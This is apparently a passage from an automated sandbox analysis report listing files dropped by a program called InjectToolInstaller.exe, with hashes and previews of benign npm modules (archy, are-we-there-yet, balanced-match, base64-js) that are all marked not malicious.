SHA-256:	7E261460730CE150B289DF512EBFC68EE6DAAE3A8D88698D078122E8D85C8D10
SHA-512:	72C37D0F7581894F9FDCC4CC3E042A02E1D78684133AC5DC220253E3E4055BD40151A1C287B6B27C7D6CE7BBA25CEC5C60DF994DECB0F3DCDB78377C6EFB5C25
Malicious:	false
Preview:	module.exports = function archy (obj, prefix, opts) {. if (prefix === undefined) prefix = '';. if (!opts) opts = {};. var chr = function (s) {. var chars = {. '.' : '\|',. '.' : '`',. '.' : '+',. '.' : '-',. '.' : '-'. };. return opts.unicode === false ? chars[s] : s;. };. . if (typeof obj === 'string') obj = { label : obj };. . var nodes = obj.nodes \|\| [];. var lines = (obj.label \|\| '').split('\n');. var splitter = '\n' + prefix + (nodes.length ? chr('.') : ' ') + ' ';. . return prefix. + lines.join(splitter) + '\n'. + nodes.map(function (node, ix) {. var last = ix === nodes.length - 1;. var more = node.nodes && node.nodes.length;. var prefix_ = prefix + (last ? ' ' : chr('.')) + ' ';. . return prefix. + (last ? chr('.') : chr('.')) + chr('.'). + (more ? chr(

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\archy\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.074930978886546
Encrypted:	false
SSDEEP:	24:1CvA9gGLDqHhWdFYEd6q05lkhvUhDcDLEvD:1Cog5UdFYEdLPvUSD2
MD5:	EAB72A1E199E2EC3F194AFB9D33C4B07
SHA1:	3BD81E8F9D8E79057497B7473C6EAC4F3D519149
SHA-256:	110F0D7B53D31AF7E873B09AAEED3F951BED467697CE3B672FB7E8A9B8A4925A
SHA-512:	06A443CB38D50DE14CA427A41BA2B438253AB6BC49DB99BF48D83FC6340C3387F06E56464A18CCCED3ABEE42996E28831E555D88D6009A0A96421CE697415465
Malicious:	false
Preview:	{. "name" : "archy",. "version" : "1.0.0",. "description" : "render nested hierarchies `npm ls` style with unicode pipes",. "main" : "index.js",. "devDependencies" : {. "tap" : "~0.3.3",. "tape" : "~0.1.1". },. "scripts" : {. "test" : "tap test". },. "testling" : {. "files" : "test/*.js",. "browsers" : {. "iexplore" : [ "6.0", "7.0", "8.0", "9.0" ],. "chrome" : [ "20.0" ],. "firefox" : [ "10.0", "15.0" ],. "safari" : [ "5.1" ],. "opera" : [ "12.0" ]. }. },. "repository" : {. "type" : "git",. "url" : "http://github.com/substack/node-archy.git". },. "keywords" : [. "hierarchy",. "npm ls",. "unicode",. "pretty",. "print". ],. "author" : {. "name" : "James Halliday",. "email" : "mail@substack.net",. "url" : "http://substack.net". },. "license" : "MIT".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\archy\test\beep.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	834
Entropy (8bit):	3.589149499041079
Encrypted:	false
SSDEEP:	12:zK1JLTGPGLYyFLqrfDW8LSDDWtqvNA9RwS:m1FTGPfyKDW2SfWki4S
MD5:	FB5CB8BC88953C962BF0495866F99459
SHA1:	1BB3DF7693CF4DBD198BD3FC91E0C6E3DD82083C
SHA-256:	97FDDAED4283CB3A16C780DF8D4D57D537CF526B6B5B32ED6F7F4CEFB0C93E7D
SHA-512:	F3C777BEC8BAB39A665CB8C330388DA3D9307AAE55E450D3D12367D0E792FDC5E0F62DFB2C065790DC452FE6772F355DF48B247B719CC93134E5F2FD254E7B2C
Malicious:	false
Preview:	var test = require('tape');.var archy = require('../');..test('beep', function (t) {. var s = archy({. label : 'beep',. nodes : [. 'ity',. {. label : 'boop',. nodes : [. {. label : 'o_O',. nodes : [. {. label : 'oh',. nodes : [ 'hello', 'puny' ]. },. 'human'. ]. },. 'party!'. ]. }. ]. });. t.equal(s, [. 'beep',. '... ity',. '... boop',. ' ... o_O',. ' . ... oh',. ' . . ... hello',. ' . . ... puny',. ' . ... human',. ' ... party!',. ''. ].join('\n'));. t.end();.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\archy\test\multi_line.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	992
Entropy (8bit):	3.6565687990897207
Encrypted:	false
SSDEEP:	12:zN8XGomthq5L2FDW8LYDDWtqpRNAqoxwS:WXGjILiDW2YfWkuqoWS
MD5:	D3430460B0302A6D806BB25D2353B6CF
SHA1:	6892FDE2A90917B678E035CAEC80443460A18973
SHA-256:	24115FD973B40370E7CE330B2BE4B4A103460E74BB4301A542551B066FA45832
SHA-512:	0C24542910ADFE2D52074B4C48D00DDD04BF3E2DD13606AD778C6FF373119DB008934ABEC9A4248F48F15A3CFD3DCB80CEBEC7D6088733C7F957CE770AF81114
Malicious:	false
Preview:	var test = require('tape');.var archy = require('../');..test('multi-line', function (t) {. var s = archy({. label : 'beep\none\ntwo',. nodes : [. 'ity',. {. label : 'boop',. nodes : [. {. label : 'o_O\nwheee',. nodes : [. {. label : 'oh',. nodes : [ 'hello', 'puny\nmeat' ]. },. 'creature'. ]. },. 'party\ntime!'. ]. }. ]. });. t.equal(s, [. 'beep',. '. one',. '. two',. '... ity',. '... boop',. ' ... o_O',. ' . . wheee',. ' . ... oh',. ' . . ... hello',. ' . . ... puny',. ' . . meat',. ' . ... creature',. ' ... party',. ' time!',. ''. ].join('\n'));. t.end();.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\archy\test\non_unicode.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	799
Entropy (8bit):	3.4432590196994437
Encrypted:	false
SSDEEP:	12:zK1JLTGPGLYyFLqrfDVixhD8LwIiYU4/RwS:m1FTGPfyKDVMhD2w/x4OS
MD5:	99692FEE8CC6537E5E1D489D21F217C3
SHA1:	B19A7E7ACE40AF5C5B4C8FF3508C7FDC642E3C2C
SHA-256:	7A058C68DE6C1BDFDFE4B094426EFA66593BA718736CC41AAAF13B57E84313A5
SHA-512:	B4128806C0E9ADA9DBD43C0ABEC685E9678145FA4B1821B5C710D1CD8669C3CF89B8D935832FB2EFF0C23D456DAB7A28F1E7DDBB7975B5CEECB4FCB73F81CDAC
Malicious:	false
Preview:	var test = require('tape');.var archy = require('../');..test('beep', function (t) {. var s = archy({. label : 'beep',. nodes : [. 'ity',. {. label : 'boop',. nodes : [. {. label : 'o_O',. nodes : [. {. label : 'oh',. nodes : [ 'hello', 'puny' ]. },. 'human'. ]. },. 'party!'. ]. }. ]. }, '', { unicode : false });. t.equal(s, [. 'beep',. '+-- ity',. '`-- boop',. ' +-- o_O',. ' \| +-- oh',. ' \| \| +-- hello',. ' \| \| `-- puny',. ' \| `-- human',. ' `-- party!',. ''. ].join('\n'));. t.end();.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\are-we-there-yet\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	717
Entropy (8bit):	4.987985636498366
Encrypted:	false
SSDEEP:	12:EXS4duNXc1EanmmBq6KX9KLZXOj1HUXUjBjz2AvzPpkhy9gp3ew:ECIuwEedq6s9oOBAUjBjn6aq3ew
MD5:	1750B360DAEE1AA920366E344C1B0C57
SHA1:	FE739DC1A14A033680B3A404DF26E98CCA0B3CCF
SHA-256:	7F75BB21103E77B7ACFCF88A6AD0286741A18B5D13C4326160346E8CF7E356AD
SHA-512:	FF2486D589D32FB35AAD9C02CD917BA1E738CA16B7CCC7954CDC4712A968FC5FC25612B489F962CBE8DDB2BE40057CD1B59402AA9CADE9B6479A1D0E1D7743A4
Malicious:	false
Preview:	ISC License..Copyright npm, Inc...Permission to use, copy, modify, and/or distribute this.software for any purpose with or without fee is hereby.granted, provided that the above copyright notice and this.permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND NPM DISCLAIMS ALL.WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL.IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO.EVENT SHALL NPM BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,.WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER.TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE.USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\are-we-there-yet\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	163
Entropy (8bit):	4.360207212169072
Encrypted:	false
SSDEEP:	3:agWA4iiE+XiXhFYtAUxoauMYXMRiE+XgjxWPXMRiE+X2RQEvXxpx8GhSCu:QHiiE+yXhgFRuPMRiE+QFWPMRiE+mRQR
MD5:	A9C06E81DA780A0568FA5A53E8D7E4FE
SHA1:	D154805F279E1F7708732426E960AB7990FFFBE2
SHA-256:	7A427679A9B245F02D66BB09AEAA5337BDFF29375D05F3F34E7133B61001BB69
SHA-512:	79C8F738B2397A79F192EA55E6145A4333C3B555C230D32840A06CA9DACCC5B75F547AE56DCC28561F2D6AEA9C033C24CAB385E344D8697234654B6FD909BA2C
Malicious:	false
Preview:	'use strict'.exports.TrackerGroup = require('./tracker-group.js').exports.Tracker = require('./tracker.js').exports.TrackerStream = require('./tracker-stream.js').

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\are-we-there-yet\lib\tracker-base.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	230
Entropy (8bit):	4.4593058259276965
Encrypted:	false
SSDEEP:	6:QE3tXy9EV3BLk35JQ+QLeKFH38NLhAmLEX9B/K:Vly9k985G+OB8ZWmE9B/K
MD5:	497EFD321B257EEB8FD01C307EA7A797
SHA1:	E813F4685F7B05AF12FE99F1F8B2310409FB9AF0
SHA-256:	E9EEFB40CAD4B9CE8F2AF828EF13F44B7288E6A4A82CCB6DAE78CCDED64F7EF5
SHA-512:	841745CCD074E692A91013D47F5640E1AB1860472F1512688A369771DC85EA3E99161E55718479736F88260D2240516847D64DB36E5A9C08848DD92838A332C7
Malicious:	false
Preview:	'use strict'.const EventEmitter = require('events')..let trackerId = 0.class TrackerBase extends EventEmitter {. constructor (name) {. super(). this.id = ++trackerId. this.name = name. }.}..module.exports = TrackerBase.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\are-we-there-yet\lib\tracker-group.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2921
Entropy (8bit):	4.630248457043551
Encrypted:	false
SSDEEP:	48:zAl2Pj3B0QhV+tkNUN8XJaS5uaiAQSmeQVN6vY1AsDwTKEoDJ4IQBFJPf3MwgGbd:62Pj3OQhqvCXJadAQSmeQLkk11Eo9jkL
MD5:	3FF062CAB3A966C61CD8463E2D00FC26
SHA1:	69A0C592546FB944452B12926E2360199AB00EE3
SHA-256:	1FAC19E9500F5F9B85AA7321445A6E0029B589BEC21C71EF40301A8078152C27
SHA-512:	182B62D64E114142B0D9413F00CE46F5FD4010739FD789F4698260BC2385909CB3EA2F5B5261FEC9A95D3B97B609EE66B08F5773C9F049C3AB5BDCBAC15265AE
Malicious:	false
Preview:	'use strict'.const TrackerBase = require('./tracker-base.js').const Tracker = require('./tracker.js').const TrackerStream = require('./tracker-stream.js')..class TrackerGroup extends TrackerBase {. parentGroup = null. trackers = []. completion = {}. weight = {}. totalWeight = 0. finished = false. bubbleChange = bubbleChange(this).. nameInTree () {. var names = []. var from = this. while (from) {. names.unshift(from.name). from = from.parentGroup. }. return names.join('/'). }.. addUnit (unit, weight) {. if (unit.addUnit) {. var toTest = this. while (toTest) {. if (unit === toTest) {. throw new Error(. 'Attempted to add tracker group ' +. unit.name + ' to tree that already includes it ' +. this.nameInTree(this)). }. toTest = toTest.parentGroup. }. unit.parentGroup = this. }. this.weight[unit.id] = weight \|\| 1. this.totalWeight += this.weight[unit.id]. this.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\are-we-there-yet\lib\tracker-stream.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	882
Entropy (8bit):	4.6254632228547505
Encrypted:	false
SSDEEP:	24:SPyzxyA4IMmSdwgkVkDFRslA6yG4Vd2gr0B15:1xyA4ImdwtSnslZyG0dr0X5
MD5:	BD555B6CF125A0DD91D079C2AA4DBEA6
SHA1:	93D5F4E61BBAFC8469946323C5DEF49E9AFD5170
SHA-256:	A558CC470210F50820FA758D18358B3AADED0E6CA49603F70E401FF02F1E5ECF
SHA-512:	8DD3AEC3C7AB218BE5100544C37031598EA197F38CC3EAF2E4CF2D68B4D2B62E1D3A110F7E465D390979C1F41EBE29324B1CE5281764B9772BF865F4720E6EC0
Malicious:	false
Preview:	'use strict'.const stream = require('readable-stream').const delegate = require('delegates').const Tracker = require('./tracker.js')..class TrackerStream extends stream.Transform {. constructor (name, size, options) {. super(options). this.tracker = new Tracker(name, size). this.name = name. this.id = this.tracker.id. this.tracker.on('change', delegateChange(this)). }.. _transform (data, encoding, cb) {. this.tracker.completeWork(data.length ? data.length : 1). this.push(data). cb(). }.. _flush (cb) {. this.tracker.finish(). cb(). }.}..function delegateChange (trackerStream) {. return function (name, completion, tracker) {. trackerStream.emit('change', name, completion, trackerStream). }.}..delegate(TrackerStream.prototype, 'tracker'). .method('completed'). .method('addWork'). .method('finish')..module.exports = TrackerStream.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\are-we-there-yet\lib\tracker.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	724
Entropy (8bit):	4.589763797599839
Encrypted:	false
SSDEEP:	12:QVW3K+wulPyBxindXSW26yPdvMbFSW29Z3/PktSW79Bv:qo6BktN26yhWFN2X3+N79Bv
MD5:	7D5D68475C41ACA47F2F9639317FC529
SHA1:	AB6ABDAD5AB056B7E94856344746261BBD7AD4E7
SHA-256:	442C5FAD466A76EE5EF4D55CA53729C1EDEC4F303EEB3A10DC960053478F4B13
SHA-512:	13827D96A70144ABB8A6757FD451899FCEA4E8D7EDCE5BEA39207029C5347804EE0ECC7203B9318FDDBF25BDE5C45B8D98EAD6AD692585E445F114BD191F301F
Malicious:	false
Preview:	'use strict'.const TrackerBase = require('./tracker-base.js')..class Tracker extends TrackerBase {. constructor (name, todo) {. super(name). this.workDone = 0. this.workTodo = todo \|\| 0. }.. completed () {. return this.workTodo === 0 ? 0 : this.workDone / this.workTodo. }.. addWork (work) {. this.workTodo += work. this.emit('change', this.name, this.completed(), this). }.. completeWork (work) {. this.workDone += work. if (this.workDone > this.workTodo) {. this.workDone = this.workTodo. }. this.emit('change', this.name, this.completed(), this). }.. finish () {. this.workTodo = this.workDone = 1. this.emit('change', this.name, 1, this). }.}..module.exports = Tracker.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\are-we-there-yet\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1406
Entropy (8bit):	4.708859485848862
Encrypted:	false
SSDEEP:	24:Gt1iWlDGqencP6KFwLCswwsinM8LIFhNb3RVgp637HYOJo631rmV:yicencP6FWswwsiM8sPNtCE37HLfFrmV
MD5:	8204181B8632974FCB78B97EE6FE8E15
SHA1:	2BEF4E1F98D3E85477AB0A157504C7DC91F064B7
SHA-256:	14E6E0825B1651B8A4B220C6BEA48E710E7D90229AEB78809DD2CCD71427285C
SHA-512:	B7B8FCE7B4D986AC94A596685C0CF9E35D2F20DA14A726E630EC4983C8E97E3DBFE74D95D3E0EF97435C6F15B29D99A935438EF4818B536E908C7EE4F5FB1B07
Malicious:	false
Preview:	{. "name": "are-we-there-yet",. "version": "4.0.1",. "description": "Keep track of the overall completion of many disparate processes",. "main": "lib/index.js",. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint",. "postsnap": "npm run lintfix --",. "snap": "tap",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force". },. "repository": {. "type": "git",. "url": "https://github.com/npm/are-we-there-yet.git". },. "author": "GitHub Inc.",. "license": "ISC",. "bugs": {. "url": "https://github.com/npm/are-we-there-yet/issues". },. "homepage": "https://github.com/npm/are-we-there-yet",. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.17.0",. "tap": "^16.0.1". },. "dependencies": {. "delegates": "^1.0.0",. "readable-stream": "^4.1.0". },. "files": [. "bin/",. "lib/". ],. "engine

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\balanced-match\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	5.156886150628813
Encrypted:	false
SSDEEP:	24:B3Q8vrOJH7H0yxgtUHw1hC09QHOsUv4eOk4/+/m3oqLFh:BtvSJrlxEvdQHOs5exm3ogFh
MD5:	7FA99DDC3424107350CA6E9A24552085
SHA1:	09013C002FBDD686DA2EC13C5A6D014F0A294BA9
SHA-256:	A1BD5DEADB6A06DD74EFA852C1B8B23F63B67F2214FBE9C8BD591DA51DA69268
SHA-512:	389651CC725F7FA28DFB45E5DE84E232212618F4ADC187443956C8725E5684F39DD25BF040F95513D17675ED2DE7188FA110E669B91987AD956A95C224ACC251
Malicious:	false
Preview:	(MIT)..Copyright (c) 2013 Julian Gruber <julian@juliangruber.com>..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies.of the Software, and to permit persons to whom the Software is furnished to do.so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISIN

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\balanced-match\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1219
Entropy (8bit):	4.413776416826399
Encrypted:	false
SSDEEP:	24:EBZPF7GbXMGbJ6gtGFNQ7B45Z5agVTiFXseSBJr+HK:E/PlGbXMGbJwa7S5ZwgVWBlSBJ6HK
MD5:	32722FE5688AA4937B71D77BBD45B026
SHA1:	12161CFAA33BE93568EC9A6FD3D9C357991A6A76
SHA-256:	06E4D0037715251CB3BE2B2DB063662F555B3538D9E30A9C517A54374D941CBC
SHA-512:	3A7F88D7859F65229ED973D2F7694FADF81EB6C904F9FCCA7E270B6FD5F54052AF57789C2BBBF4F57D9EDEF2CD7FFCB011F666F43A0D6E3B776E59C5726A941F
Malicious:	false
Preview:	'use strict';.module.exports = balanced;.function balanced(a, b, str) {. if (a instanceof RegExp) a = maybeMatch(a, str);. if (b instanceof RegExp) b = maybeMatch(b, str);.. var r = range(a, b, str);.. return r && {. start: r[0],. end: r[1],. pre: str.slice(0, r[0]),. body: str.slice(r[0] + a.length, r[1]),. post: str.slice(r[1] + b.length). };.}..function maybeMatch(reg, str) {. var m = str.match(reg);. return m ? m[0] : null;.}..balanced.range = range;.function range(a, b, str) {. var begs, beg, left, right, result;. var ai = str.indexOf(a);. var bi = str.indexOf(b, ai + 1);. var i = ai;.. if (ai >= 0 && bi > 0) {. if(a===b) {. return [ai, bi];. }. begs = [];. left = str.length;.. while (i >= 0 && !result) {. if (i == ai) {. begs.push(i);. ai = str.indexOf(a, i + 1);. } else if (begs.length == 1) {. result = [ begs.pop(), bi ];. } else {. beg = begs.pop();. if (beg < left) {. lef

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\balanced-match\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1069
Entropy (8bit):	4.588010362747497
Encrypted:	false
SSDEEP:	24:sREg1K9mRsmRyCQpUgJSO6uEupb4AJMWv4+xyiyWdm6cYAjwr:sREoK8RJRhyh3jpMAnv4+xyiyxVj2
MD5:	FA13802CF9109F23DB7CC107F33CBF0A
SHA1:	EF0A0D2FD68C3396309AB54AB08C5F8D362436EA
SHA-256:	B30C328501DEAD1870B894AD604405B2284B571C1F12664CDC61D92A2E3397C2
SHA-512:	49CE16A0472608D16E092B06028A854E5C80FBDE30006FDBB6088DAE91770EF87965A32F6E87247719FB7981FEC3DEBDC2169B9DF118D67D656A5378620DB9C1
Malicious:	false
Preview:	{. "name": "balanced-match",. "description": "Match balanced character pairs, like \"{\" and \"}\"",. "version": "1.0.2",. "repository": {. "type": "git",. "url": "git://github.com/juliangruber/balanced-match.git". },. "homepage": "https://github.com/juliangruber/balanced-match",. "main": "index.js",. "scripts": {. "test": "tape test/test.js",. "bench": "matcha test/bench.js". },. "devDependencies": {. "matcha": "^0.7.0",. "tape": "^4.6.0". },. "keywords": [. "match",. "regexp",. "test",. "balanced",. "parse". ],. "author": {. "name": "Julian Gruber",. "email": "mail@juliangruber.com",. "url": "http://juliangruber.com". },. "license": "MIT",. "testling": {. "files": "test/*.js",. "browsers": [. "ie/8..latest",. "firefox/20..latest",. "firefox/nightly",. "chrome/25..latest",. "chrome/canary",. "opera/12..latest",. "opera/next",. "safari/5.1..latest",. "ipad/6.0..latest",. "

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\base64-js\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1081
Entropy (8bit):	5.10215343665425
Encrypted:	false
SSDEEP:	24:bkrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:bkaJHlxE35QHOs5exm3ogF5n
MD5:	EA9187CA93CDC4F71219D1675712E908
SHA1:	1937AA4955805181CE8585B66F3AD53974B1B1DE
SHA-256:	5B37224C080CDCC97C871ADA971C224E9926370FE74F11B539AA1CF9F3B1ACA1
SHA-512:	6AB4B63E296A721DB1CF973719805AD796A4B774F42DE9E2927E7120F5334FDDFACA60F408991D2051CB45D552256CE481611315D9F3A5BA0A1023CDF728525B
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2014 Jameson Little..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\base64-js\base64js.min.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (2192), with no line terminators
Category:	dropped
Size (bytes):	2192
Entropy (8bit):	5.61947388063193
Encrypted:	false
SSDEEP:	24:21Dcj0B5HQFtQI6wAtZlL21SLbR4SRJNZlL8heOIKR+qKn8i9g6z2WZuSqFj4Z1M:+G0vwLQIkswCY+0LVnBtylsDvau1CTft
MD5:	C21C099915E3FA53E245C717DB6B9074
SHA1:	B2339D6B6ECEC22F74F9954FD6BB7FF4CAF17B59
SHA-256:	D2E82495607ABF54F16E21DE04D90BA9CE1605451667D88425BABECE988F148B
SHA-512:	94B702F475B5397E2705F97DCF7EE43F9C258818064145AA13D56EDB471E23CFD2668763E4EF2CE1023CD5490FC6A380B061E5513EACC5865B42C349320898FD
Malicious:	false
Preview:	(function(a){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=a();else if("function"==typeof define&&define.amd)define([],a);else{var b;b="undefined"==typeof window?"undefined"==typeof global?"undefined"==typeof self?this:self:global:window,b.base64js=a()}})(function(){return function(){function b(d,e,g){function a(j,i){if(!e[j]){if(!d[j]){var f="function"==typeof require&&require;if(!i&&f)return f(j,!0);if(h)return h(j,!0);var c=new Error("Cannot find module '"+j+"'");throw c.code="MODULE_NOT_FOUND",c}var k=e[j]={exports:{}};d[j][0].call(k.exports,function(b){var c=d[j][1][b];return a(c\|\|b)},k,k.exports,b,d,e,g)}return e[j].exports}for(var h="function"==typeof require&&require,c=0;c<g.length;c++)a(g[c]);return a}return b}()({"/":[function(a,b,c){'use strict';function d(a){var b=a.length;if(0<b%4)throw new Error("Invalid string. Length must be a multiple of 4");var c=a.indexOf("=");-1===c&&(c=b);var d=c===b?0:4-c%4;return[c,d]}function e(a,b,c){return 3*(b+c)/4-c}

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\base64-js\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3932
Entropy (8bit):	5.062744025413713
Encrypted:	false
SSDEEP:	96:bNboqaQphVtkHoUUkVJSDJPEPbD3yK1sd/a6/z/yWgXAQcmd9rBSkO8+XZEqjg:+6jsStcbRDqqWgXAQrbCXZEqjg
MD5:	C810ECB48B8153C6C413D74614C51BE9
SHA1:	8DE581E64D323F2130CBFB1A154D62ACF894FF5E
SHA-256:	829EADD8A1A441D25BE0CB93B00E16A0D0C20FD294DB95D8F2ED87E6954B7182
SHA-512:	72D541BC83760BA2CC9E35436588ACCA2DE8CD24DD5F3F84952059553886F47C569CC2018E4C1D87337E895A6FEE2DBCD07B7196941AAC6D989C93946DBAB23D
Malicious:	false
Preview:	'use strict'..exports.byteLength = byteLength.exports.toByteArray = toByteArray.exports.fromByteArray = fromByteArray..var lookup = [].var revLookup = [].var Arr = typeof Uint8Array !== 'undefined' ? Uint8Array : Array..var code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'.for (var i = 0, len = code.length; i < len; ++i) {. lookup[i] = code[i]. revLookup[code.charCodeAt(i)] = i.}..// Support decoding URL-safe base64 strings, as Node.js does..// See: https://en.wikipedia.org/wiki/Base64#URL_applications.revLookup['-'.charCodeAt(0)] = 62.revLookup['_'.charCodeAt(0)] = 63..function getLens (b64) {. var len = b64.length.. if (len % 4 > 0) {. throw new Error('Invalid string. Length must be a multiple of 4'). }.. // Trim off extra bytes after placeholder bytes are found. // See: https://github.com/beatgammit/base64-js/issues/42. var validLen = b64.indexOf('='). if (validLen === -1) validLen = len.. var placeHoldersLen = validLen === len. ? 0. : 4 -

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\base64-js\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1115
Entropy (8bit):	4.6834374753976915
Encrypted:	false
SSDEEP:	12:GOT2gbL81qMqj31GMPO0mpNY6L/JhfA6a2bmF2bWpzIca7Vpj063XOPwUo+7kamg:GOv417MDmpNY6LyDYX06nRUo+4a+wL
MD5:	8C3C32AD06DB4E10D96A32653DE4F1C3
SHA1:	E17D74F1F7F0FA4BCA8BA3A2CFF79B34F64718EA
SHA-256:	9758F3AB8C45E07BB9A368E32F9A8B3729623BBF47CBBB205B32D674AB2A91F0
SHA-512:	6E0881F76B2BC97CDA94D4C4401A3B28309EA2859EC302D51D20216F141A334A52D4B794F0C292A479E7A543557C481B137F2FBAF7C2957106037779FD63C28B
Malicious:	false
Preview:	{. "name": "base64-js",. "description": "Base64 encoding/decoding in pure JS",. "version": "1.5.1",. "author": "T. Jameson Little <t.jameson.little@gmail.com>",. "typings": "index.d.ts",. "bugs": {. "url": "https://github.com/beatgammit/base64-js/issues". },. "devDependencies": {. "babel-minify": "^0.5.1",. "benchmark": "^2.1.4",. "browserify": "^16.3.0",. "standard": "",. "tape": "4.x". },. "homepage": "https://github.com/beatgammit/base64-js",. "keywords": [. "base64". ],. "license": "MIT",. "main": "index.js",. "repository": {. "type": "git",. "url": "git://github.com/beatgammit/base64-js.git". },. "scripts": {. "build": "browserify -s base64js -r ./ \| minify > base64js.min.js",. "lint": "standard",. "test": "npm run lint && npm run unit",. "unit": "tape test/.js". },. "funding": [. {. "type": "github",. "url": "https://github.com/sponsors/feross". },. {. "type": "patreon",. "url": "https://www.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\bin-links\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	739
Entropy (8bit):	4.9754464628259765
Encrypted:	false
